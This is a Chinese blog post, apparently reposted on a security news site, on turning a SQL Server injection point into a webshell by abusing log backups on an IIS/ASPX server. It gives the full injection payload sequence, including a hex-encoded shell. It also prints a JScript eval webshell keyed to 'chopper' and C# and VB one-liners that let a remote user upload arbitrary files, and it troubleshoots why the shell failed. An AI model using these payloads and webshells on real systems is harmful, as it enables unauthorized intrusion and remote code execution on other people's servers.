某注入点差异备份getshell小记

admin 2022年3月15日13:28:26评论163 views字数 1359阅读4分31秒阅读模式

利用SQL Server的低权限注入点,通过差异备份和log增量备份获取shell的技术似乎没有难度,在一个纠结的注入点却遇到了一些问题。

首先是服务器环境iis6.0,不支持asp,仅支持aspx,然后直接差异备份出来的shell有10M多,直接访问就报错了,貌似.net的语法检查比asp来说要严格,然后就换log增量备份写shell的payload:

1.';alter database [dbname] set RECOVERY FULL--

2.';create table tmp (a image)--

3.';backup log [dbname] to disk = 'c:windowstempbak.tmp' with init--

4.';insert into tmp (a) values (0x3c25402050616765204c616e67756167653d224a73637269707422253e3c256576616c28526571756573742e4974656d5b2263686f70706572225d2c22756e7361666522293b253e)--

5.';backup log [dbname] to disk = 'webrootpath'--

然后写出来个shell发现依然报错了,备份成txt之后下载回来发现shell中有一部分乱码了,然后换成 了 ‘;insert into tmp (a) values (‘<%@ Page Language=”Jscript”%><%eval(Request.Item[“chopper”],”unsafe”);%>’)– 这样写入就ok了,没有写入hex值,解决了乱码问题,高高兴兴的跑去访问了下shell,又报错了,tm .net真蛋疼,提示“There can be only one ‘page’ directive”:

某注入点差异备份getshell小记

然后依备份成txt下载回来,看到了我的一句话被写入了两次。到现在还没明白问什么log增量备份会备份两次我的shell

因为同一个脚本中出现了两次 <%@ Page Language=”Jscript”%>…… 这样在.net的语法检查中是不允许的(asp中应该没有这种现象),现在就要找个没有page标签的aspx的一句话。

网上找到了两个可以没带page标签的aspx的一句话

C#版本:

<%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request[“f”]) ); }%>

Vb版本:

<% If Request.Files.Count <> 0 Then Request.Files(0).SaveAs(Server.MapPath(Request(“f”)) ) %>

因为没有page标签,所以这这样的一句话在同一个文件中出现两次是不会出错的。

另外没有声明Page Language 的话,默认的语言可能是c#或者vb,我在不同机器上发现默认的语言有出入,这样就分别尝试一下找到合适的一句话,解决问题。

原创文章,转载请注明: 转载自 CNSS菊花's Blog ‘s Blog


本文始发于微信公众号(关注安全技术):某注入点差异备份getshell小记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月15日13:28:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某注入点差异备份getshell小记https://cn-sec.com/archives/503314.html

发表评论

匿名网友 填写信息